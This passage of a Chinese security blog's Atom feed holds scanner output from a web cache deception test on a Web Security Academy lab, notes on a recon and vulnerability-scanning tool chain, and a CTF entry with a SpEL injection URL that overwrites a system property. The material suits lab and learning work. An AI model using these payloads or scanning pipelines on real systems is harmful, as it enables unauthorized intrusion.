href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Baa</a><br>2025/10/23 20:46:10 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Baa</a><br>2025/10/23 20:46:11 [DEBUG] 正在测试分隔符 (来自字典): ‘%7C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Caa</a><br>2025/10/23 20:46:11 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Caa</a><br>2025/10/23 20:46:11 [DEBUG] 正在测试分隔符 (来自字典): ‘%7D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Daa</a><br>2025/10/23 20:46:11 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Daa</a><br>2025/10/23 20:46:11 [DEBUG] 正在测试分隔符 (来自字典): ‘%7E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%7Eaa</a><br>2025/10/23 20:46:11 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%257Eaa</a><br>    [漏洞] 分隔符逻辑: 为URL <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a> 找到分隔符 (来自字典): ‘#’<br>    [漏洞] 分隔符逻辑: 为URL <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a> 找到分隔符 (来自字典): ‘?’<br>2025/10/23 20:46:12 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/aaaaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/aaaaa</a><br>2025/10/23 20:46:12 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/aaaaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/aaaaa</a><br>    [漏洞] 静态目录缓存: 检测到静态目录缓存 <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css</a> (X-Cache: hit)<br>    [信息] 规范化检查: Origin server normalization detected: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css</a> and <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a/..%2fresources/css/labsBlog.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a/..%2fresources/css/labsBlog.css</a> have the same content</p><p>[*] 正在进行漏洞分析…<br>    [高危] 潜在漏洞: 源服务器进行规范化，但缓存服务器未进行！</p><p>[*] 可缓存的URL:<br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css</a> (X-Cache: hit)<br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/labHeader.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/labHeader.js</a> (X-Cache: hit)<br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/css/academyLabHeader.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/css/academyLabHeader.css</a> (X-Cache: hit)<br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/submitSolution.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/submitSolution.js</a> (X-Cache: hit)<br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/js/tracking.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/js/tracking.js</a> (X-Cache: hit)<br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labs.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labs.css</a> (X-Cache: hit)</p><p>[*] 不可缓存的URL:<br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</a><br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a><br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a><br>    <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a></p><p>[*] 扫描完成.</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;爬虫模块。&quot;&gt;&lt;a href=&quot;#爬虫模块。&quot; class=&quot;headerlink&quot; title=&quot;爬虫模块。&quot;&gt;&lt;/a&gt;爬虫模块。&lt;/h1&gt;&lt;p&gt;使用ktana来进行url的主动爬取，深度要可选择，默认就2吧&lt;br&gt;使用gau来被动获取url&lt;br&gt;将获取的所有</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>信息收集工具编写</title>
    <link href="https://lisien11.xyz/2025/10/19/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E5%B7%A5%E5%85%B7%E7%BC%96%E5%86%99/"/>
    <id>https://lisien11.xyz/2025/10/19/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E5%B7%A5%E5%85%B7%E7%BC%96%E5%86%99/</id>
    <published>2025-10-19T14:42:23.000Z</published>
    <updated>2025-10-24T01:35:20.250Z</updated>
    
    <content type="html"><![CDATA[<h1 id="网上工具有很多-但是都没有串联-写个缝合怪"><a href="#网上工具有很多-但是都没有串联-写个缝合怪" class="headerlink" title="网上工具有很多.但是都没有串联,写个缝合怪"></a>网上工具有很多.但是都没有串联,写个缝合怪</h1><h1 id="模块"><a href="#模块" class="headerlink" title="模块"></a>模块</h1><h2 id="域名收集"><a href="#域名收集" class="headerlink" title="域名收集"></a>域名收集</h2><p>subfinder</p><p>oneforall</p><p>合并去重subfinder和oneforall的域名存储到domain.txt</p><p>然后使用alterx来对域名进行变体探测</p><p>cat domain.txt | alterx | ksubdomain -verify -silent |tee res.txt<br>合并去重 domain.txt与res.txt<br>得到最终的domains.txt</p><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><h3 id="top100-默认"><a href="#top100-默认" class="headerlink" title="top100 默认"></a>top100 默认</h3><p>使用naabu进行扫描top100</p><h2 id="url处理"><a href="#url处理" class="headerlink" title="url处理"></a>url处理</h2><p>naabu扫描完端口后使用httpx进行验证，并输出在项目的url文件夹下</p><h3 id="主动爬取"><a href="#主动爬取" class="headerlink" title="主动爬取"></a>主动爬取</h3><p>将获取的url使用ktana进行主动爬取，然后传给hakrawler，输出在url文件夹下</p><h3 id="被动爬取"><a href="#被动爬取" class="headerlink" title="被动爬取"></a>被动爬取</h3><p>使用gau<br>xscan存在主动与被动，主动爬取的url传入xscan，输出其主动和gau被动爬取的值。<br>所有扫描结束后将值</p><h3 id="url去重"><a href="#url去重" class="headerlink" title="url去重"></a>url去重</h3><p>主动爬取的url结果经过urldedupe处理 -s 处理</p><h2 id="漏洞发现"><a href="#漏洞发现" class="headerlink" title="漏洞发现"></a>漏洞发现</h2><p>nuclei(内存占用也大，采用10000，10000行的形式会好很多)</p><h3 id="xss"><a href="#xss" class="headerlink" title="xss"></a>xss</h3><p>扫描时使用脚本讲url分为10000行10000行的进行扫描以减少内存消耗防止劫持被kill<br>在扫描好一个文件后删除这个临时文件</p><h3 id="子域名接管"><a href="#子域名接管" class="headerlink" title="子域名接管"></a>子域名接管</h3><p>这个在讲域名收集好后进行探测</p><h3 id="自己写的脚本"><a href="#自己写的脚本" class="headerlink" title="自己写的脚本"></a>自己写的脚本</h3><p>8.使用gf提取易ssrf估计的url，轮换每个参数为反连域名的url，给httpx访问同时开启302跳转来测试url跳转漏洞</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;网上工具有很多-但是都没有串联-写个缝合怪&quot;&gt;&lt;a href=&quot;#网上工具有很多-但是都没有串联-写个缝合怪&quot; class=&quot;headerlink&quot; title=&quot;网上工具有很多.但是都没有串联,写个缝合怪&quot;&gt;&lt;/a&gt;网上工具有很多.但是都没有串联,写个缝合怪&lt;/</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>强网</title>
    <link href="https://lisien11.xyz/2025/10/18/%E5%BC%BA%E7%BD%91/"/>
    <id>https://lisien11.xyz/2025/10/18/%E5%BC%BA%E7%BD%91/</id>
    <published>2025-10-18T11:46:51.000Z</published>
    <updated>2025-10-18T11:47:07.221Z</updated>
    
    <content type="html"><![CDATA[<img src="/2025/10/18/%E5%BC%BA%E7%BD%91/IMG_20251018-194702351.png" class="">  <p><a href="https://eci-2ze5i7cbu6fsrcnhkfnv.cloudeci1.ichunqiu.com:8080/check?rule=%23%7B%23systemProperties%5B&#39;user.home&#39;%5D=%22/tmp/%22%7D">https://eci-2ze5i7cbu6fsrcnhkfnv.cloudeci1.ichunqiu.com:8080/check?rule=%23%7B%23systemProperties%5B&#39;user.home&#39;%5D=%22/tmp/%22%7D</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;img src=&quot;/2025/10/18/%E5%BC%BA%E7%BD%91/IMG_20251018-194702351.png&quot; class=&quot;&quot;&gt;  
&lt;p&gt;&lt;a href=&quot;https://eci-2ze5i7cbu6fsrcnhkfnv.cloudeci1.ichu</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>chacklist</title>
    <link href="https://lisien11.xyz/2025/10/13/chacklist/"/>
    <id>https://lisien11.xyz/2025/10/13/chacklist/</id>
    <published>2025-10-13T10:30:39.000Z</published>
    <updated>2025-10-14T11:36:18.375Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="65ef26c57f31a8afc3ca78425e2a3ecb77527716f6ba60b6a83dbcb2c41ee8cc">aa4d0537ff612e50e47a231e796e4a1f0515937c555566258a32aae013c98db13600992ddb8390b32a555b79c8c93980c101f3c72cd335852f8ada49a2e3a48344f1110546c53d55d7f2ce7a0f94b7c51de710e26ba42d3d808c41046c309c3d4e8496061ccc51225e2d696a76a6428af7b9214b7a6866bbb75e828f66cb8e590ea3890f7726117b6b795c418f385d2b82eed3dab27bc07b89080bbb4873be248add2177ce5d813fc29f40b4a46638d60242281a8d4b8f1ff2706bd7c6aeaa5721874292c2b1b4ce46762fd6832ae2d329253ea7346ec9af46c5ddc747085654577697a1eb3f22d7f1e426ea09cc4451d037804bb4232691f77ddec29068fdbddfac3d0114bf20e5178f0ff7ce001d3d72bcc72ba5acc2be62676d47000f7a015c2a166a39250bfe454000e6d0d0927738caa0f6ebad171d1d5dc9608f6a7863cbb24fa221ddcc2ed615ce1a8ca61810f7079cbb9340b15605d486745b51c81a5ac20252a39a21785eafa3d837584d531875ce4e290265372d982674168c7d5eb1e90eb83a0a1d71f2e243c86a042e9bf903996fa1683ebf4c4c1907cba1b5cc2188f32e3301cd3bff137d4a4e16dd04268a0595d809cb88eedd05252e60b20eec2609ff6b11f2822ee77d76d31688a385fecb15192add4d3f7924976dc80593766767404b14682414823de657360b72af31dd6a2ac3f813212387ae2efef72b78f1c7d1b0089f8760f7486cfd26c2b48e79fc70e848492d19be165590e9c58b22b06f9bdab4f650bc64191cbf00c79b5981ea9ffd86b17607401fa513e5a27dde710a1a84016acbb8b3f37ec9620bc0b917657fc778eef16a6fb52d27e30d672ecfecbce8cfa717722f49be8c80b066e73b8492ea5f6060caf5e9b0094b7738ccd07842ee8356af0dc82170152bef598aa6915dbcdefb8db5efda743593b9e5492b433cb466685b85fd44370055535efd66135efd2b0c44716e7fdc5d0086fc1c2767fb6896d4244fb16fd899bc6cbac8ac374c9d62838145623a66678095e9e059ffa8da4ee1919f78a3ea9bd349fc78edc3c937e70229c1bbd97d7eb7cf37c006cbdee7959cf33134ffd96cd1ac5cda2b3ccd2f26e44c748677f92df15c766a952242c599a87902640b064130b1eade61790d484735ea7c199b8ffdd2bc94f3a11022771419c3fc22b9e0fbeb4b50b932b66f7c459b1d5bd9fa905334e14a4e735ff9d18ec785508f82510cee40e993df2ba7e538a55d634e03cfced05d23b1b8afcb95e113e80bdc0b429f1a88a35b3fe86f5c9999db24e906cc617ed642cdc5cd8f7656541308c32e59fc84f9b8f3c960d686d072b3a6414e3e316831dd168a50fe949d2254ae7458b80ed5caf3862d01f057a4d5772457bd9539cec8fc3f24eef2662e584909f962c8be7617880a0dedc6a2d76521cdbad19b793fcc11b17894f0eb0b767a8e1ae3ffaf7f4f18e1b77ca105dc7bbd4d2a6e1c6890516d407fd582358c1ce5bf982739edc3d364b2897c42e8a2722d07d8870afb208ed8b18418eee9306d8d7ee0fb2cfd602f1b035efae43e1ff93465dc2a25c961ca40</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>实验课扫描器</title>
    <link href="https://lisien11.xyz/2025/10/07/%E5%AE%9E%E9%AA%8C%E8%AF%BE%E6%89%AB%E6%8F%8F%E5%99%A8/"/>
    <id>https://lisien11.xyz/2025/10/07/%E5%AE%9E%E9%AA%8C%E8%AF%BE%E6%89%AB%E6%8F%8F%E5%99%A8/</id>
    <published>2025-10-07T09:17:24.000Z</published>
    <updated>2025-10-07T09:24:43.004Z</updated>
    
    <content type="html"><![CDATA[<h1 id="基础功能参考国内扫描器即可"><a href="#基础功能参考国内扫描器即可" class="headerlink" title="基础功能参考国内扫描器即可"></a>基础功能参考国内扫描器即可</h1><h1 id="重点功能"><a href="#重点功能" class="headerlink" title="重点功能"></a>重点功能</h1><p>1.信息收集<br>写个爬虫爬取qcc，商cc的子公司，然后icp查所有域名<br>子域名查询使用网上较为流行的工具，oneforall，subdoamin这些的。</p><p>2.增加一个添加自定义扫描器的功能<br>只要输入这个扫描器的运行指令，将文件那块用<code>&#123;aaa&#125;</code>这种的当成占位符，然后将输出文件的文件名填写即可添加这个扫描器的功能</p><p>尽量使用正则之类的来适配绝大部分的扫描结果内容。然后得有个输出结果下载功能下载的是这个扫描器正常输出的扫描结果文件，来防止正则匹配不正常。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;基础功能参考国内扫描器即可&quot;&gt;&lt;a href=&quot;#基础功能参考国内扫描器即可&quot; class=&quot;headerlink&quot; title=&quot;基础功能参考国内扫描器即可&quot;&gt;&lt;/a&gt;基础功能参考国内扫描器即可&lt;/h1&gt;&lt;h1 id=&quot;重点功能&quot;&gt;&lt;a href=&quot;#重点功能&quot;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>SRC</title>
    <link href="https://lisien11.xyz/2025/09/29/SRC-1/"/>
    <id>https://lisien11.xyz/2025/09/29/SRC-1/</id>
    <published>2025-09-29T09:35:36.000Z</published>
    <updated>2025-09-29T09:35:36.741Z</updated>
    
    
    
    
    
  </entry>
  
  <entry>
    <title>协会展示</title>
    <link href="https://lisien11.xyz/2025/09/24/%E5%8D%8F%E4%BC%9A%E5%B1%95%E7%A4%BA/"/>
    <id>https://lisien11.xyz/2025/09/24/%E5%8D%8F%E4%BC%9A%E5%B1%95%E7%A4%BA/</id>
    <published>2025-09-24T09:05:30.000Z</published>
    <updated>2025-09-24T12:45:45.068Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Thinkphp-5-2"><a href="#Thinkphp-5-2" class="headerlink" title="Thinkphp 5.2"></a>Thinkphp 5.2</h1><h1 id=""><a href="#" class="headerlink" title=" "></a> </h1>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Thinkphp-5-2&quot;&gt;&lt;a href=&quot;#Thinkphp-5-2&quot; class=&quot;headerlink&quot; title=&quot;Thinkphp 5.2&quot;&gt;&lt;/a&gt;Thinkphp 5.2&lt;/h1&gt;&lt;h1 id=&quot;&quot;&gt;&lt;a href=&quot;#&quot; class=&quot;head</summary>
      
    
    
    
    
  </entry>
  
</feed>
